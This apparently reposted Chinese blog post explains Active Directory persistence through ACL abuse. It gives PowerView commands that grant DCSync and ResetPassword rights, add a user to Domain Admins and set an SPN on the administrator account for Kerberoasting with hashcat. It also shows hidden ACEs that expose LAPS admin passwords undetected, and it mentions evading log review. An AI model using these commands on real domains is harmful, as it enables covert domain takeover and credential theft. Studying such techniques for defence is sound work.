Windows下的权限维持(二)

栏目: C++ · 发布时间: 7年前

内容简介:​ 本文就主要针对上一篇文章<windows 下的权限维持> 中的后续补充。本文主要是讲解下关于利用域中的环境的权限维持方法。​ 在windows 中有一个安全对象包至少含有:

Windows下的权限维持(二)

0x00 前言

​ 本文就主要针对上一篇文章<windows 下的权限维持> 中的后续补充。本文主要是讲解下关于利用域中的环境的权限维持方法。

0x01 ACL 介绍

​ 在windows 中有一个安全对象包至少含有:

1. a header of control bits
2. the security identifier (SID) of the object owner
3. the SID of the object’s primary group

参考链接: https://docs.microsoft.com/en-us/windows/desktop/SecAuthZ/securable-objects

安全描述符也都会包含有DACL和SACL([MS-DTYP]2.4.6.1):

Windows下的权限维持(二)

所以在很多文档中说的ACL一般都是指对象的安全描述符中的SACL和DACL。

SACL : A SACL contains access-control entries (ACEs) that specify the types of access attempts that generate audit records in the security event log of a domain controller 。包含ACE,生成对域控的安全对象访问的日志。

Windows下的权限维持(二)

比如添加在SACL中添加一个ACE,记录exchange server组对安全对象访问的日志:

Windows下的权限维持(二)

​ DACL: An access control list (ACL) that is controlled by the owner of an object and that specifies the access particular users or groups can have to the object. 由对象的所有者控制,并指定特定用户或组对该对象的访问权限。

Windows下的权限维持(二)

​ ACE:

An entry in an access control list (ACL) that contains a set of user

rights and a security identifier (SID) that identifies a principal for whom the rights are

allowed, denied, or audited.
ACL中的一个元素,指定访问权限。其中ACE也有两种类型:一般的ACE和特殊对象的ACE,而关于其中字段说明,参考 The-structure-of-an-ACE

Windows下的权限维持(二)

一般ACE 特殊对象ACE
Windows下的权限维持(二) Windows下的权限维持(二)

​ 例如Exchange的那个 漏洞 ,就是利用了其在域中 Exchange Trusted SubsystemExchange Windows Permissions ACE如下图,具有 writedacl 的权限,可以修改DACL,参考 Exchange-AD-Privesc 。如果在内网中安装有 azure ad connect 的话,也是具有修改对象的权限。因为自己家电脑上没有这个环境,看下 reference-connect-accounts-permissions 也是可以知道的,利用来作为后门的方法也是很多的。

Windows下的权限维持(二)

0x02 User

对于用户的攻击有两种:1.强制重制用户的密码。

1.ResetPassword

User-Force-Change-Password right (GUID: 00299570-246d-11d0-a768-00aa006e0529) 使cond用户具有修改administrator用户密码的权限。

powerview:

#add dcsync
Add-DomainObjectAcl -TargetIdentity cond -PrincipalIdentity administrator -Rights ResetPassword

Windows下的权限维持(二)

2.Kerberoasting

Kerberoasting:允许攻击者获取到TGS离线破解等到目标用户的密码。详细内容可以参考 targeted-kerberoasting 。(我人晕了,我正在写这篇文章的时候发现,3gstudent刚写了 域渗透-Kerberoasting ,有几次我在研究的东西不久,大佬就会发一个关于这个的文章,比如ACL,GPO,exchange等,大佬下一次是不是会有exchange的利用?)

因为默认域用户一般是没有SPN的,只有服务账号krbtgt或者sqlsvc,域内主机账号才会有SPN:

Windows下的权限维持(二)

上面就是我给管理员用户设置了一个SPN。

PS代码:

#以管理员权限运行注册一个SPN服务
Set-DomainObject -Identity administrator -Set @{serviceprincipalname = 'a/bdsa'}
Get-DomainUser administrator -Properties serviceprincipalname

在域内一台普通机器上,使用普通用户登录然后执行:

Windows下的权限维持(二)

然后把ticket拿去离线破解 hashcat64.exe -m 13100 -a 0 hash.txt password.txt

Windows下的权限维持(二)

清除SPN:

Set-DomainObject -Identity administrator -clear serviceprincipalname

再在域中获取就会显示失败:

Windows下的权限维持(二)

可以参考 htb-writeup-active ,其中就使用到了kerberoast的方法。

3.dcsync

DCSYNC DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) ,就是向对象添加一个ACE,使得普通用户也具有权限。

比如使用powerview:

#add dcsync
Add-DomainObjectAcl -TargetIdentity "DC=hack,DC=com" -PrincipalIdentity cond -Rights DCSync
#remove
remove-DomainObjectAcl -TargetIdentity "DC=hack,DC=com" -PrincipalIdentity cond -Rights DCSync

Windows下的权限维持(二)

在使用bloodhound查看dcsync的权限:

Windows下的权限维持(二)

0x03 Group

​ 对于组的利用,就是将用户添加到 domain admins 或者 enterprise admins ,或者修改 primarygroupid

这里依然是使用powerview当然你也直接net group添加:

Add-DomainGroupMember "domain admins" -Members cond

Windows下的权限维持(二)

0x04 Computer

​ Computer对象就是一种特殊的user对象。如果域中安装了LAPS,那么computer 对象会有一个 ms-Mcs-AdmPwd 属性保存了明文的密码。默认是只有管理员组的用户才能读取这个属性,但是我们可以给其他普通用户权限去读取。

​ 这里简单记录下安装LAPS的过程,先在域控安装完成后,然后通过GPO为域内机器安装,在ADUC新建一个OU,将computer账户移动到这里,还可以为OU配置ACL。在新建一个GPO,配置computer configuration->policies->administrative template->laps 到enable。在域内主机更新组策略后LAPS就配置完成了。

Windows下的权限维持(二)

Set-AdmPwdComputerSelfPermission -orgunit "IT"
Find-AdmPwdExtendedRights -Identity it -IncludeComputers|fl
#添加其他组访问admpwd的权限
Set-AdmPwdReadPasswordPermission -Identity it -AllowedPrincipals itadmins

Windows下的权限维持(二)

为了读取 ms-Mcs-AdmPwd 必须要ACE的 accessmaskDS_CONTROL_ACCESS ,而且 Find-AdmPwdExtendedRights 只检查应用于OU和Computers的ACE,其中都会忽略,所以我们建立一个 msImaging-PSPs 对象,在IT OU右键,新建对象。

如果使用 Set-AdmPwdReadPasswordPermission 添加普通用户读取的权限:

Windows下的权限维持(二)

所以使用上述方法后:

$PspObject = (Get-DomainObject -raw notOu).getdirectoryentry()
$ace =  New-ADObjectAccessControlEntry -AccessControlType allow -right extendedright -PrincipalIdentity cond -InheritanceType all
$PspObject.psbase.objectsecurity.addaccessrule($ace)
$PspObject.psbase.commitchanges()

可以查看下面GIF的效果,在添加ACE到这个Class当中,但是 Find-AdmPwdExtendedRights 却不能检测出来,开始win10没有加入到其中就不能获取到admpwd,但是在移动到这个class中过后就能读取到admpwd了:

Windows下的权限维持(二)

当然也可以针对组来对对应GUID设置ACE:

$tobj = $(get-domaincomputer -Raw win10).getdirectoryentry()
$guids = get-domainguidmap
#get admpwd guid
$admpwdguid = $guids.getenumerator()| ?{$_.value -eq 'ms-mcs-admpwd'}|select -expandproperty name

#ace
$ace =  New-ADObjectAccessControlEntry -AccessControlType allow -right extendedright -PrincipalIdentity "domain users" -objecttype $admpwdguid -InheritedobjectType ([guid]::empty) -InheritanceType all
$PspObject.psbase.objectsecurity.addaccessrule($ace)
$PspObject.psbase.commitchanges()

这样就可以domian users就可以访问admpwd了,而且也是不会显示出来:

Windows下的权限维持(二)

LAPS还有两种方法,修改 searchFlags 或者通过 admpwd.dll 注入后门代码将修改后的密码保存下来,更多的详细可以参考 malicious-use-of-microsoft-laps

0x05 总结

​ 这篇文章是对上一篇的部分补充,介绍了针对域内不同类型的权限维持的方法,我这里并没有把这些方法所产生的日志贴出来了,毕竟一些重视安全的公司,日志审查还是很厉害的,各位可以自己测试下,谨慎选择。可能还有后续,但都是一些详细补充了。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Zen of CSS Design

The Zen of CSS Design

Dave Shea、Molly E. Holzschlag / Peachpit Press / 2005-2-27 / USD 44.99

Proving once and for all that standards-compliant design does not equal dull design, this inspiring tome uses examples from the landmark CSS Zen Garden site as the foundation for discussions on how to......一起来看看 《The Zen of CSS Design》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器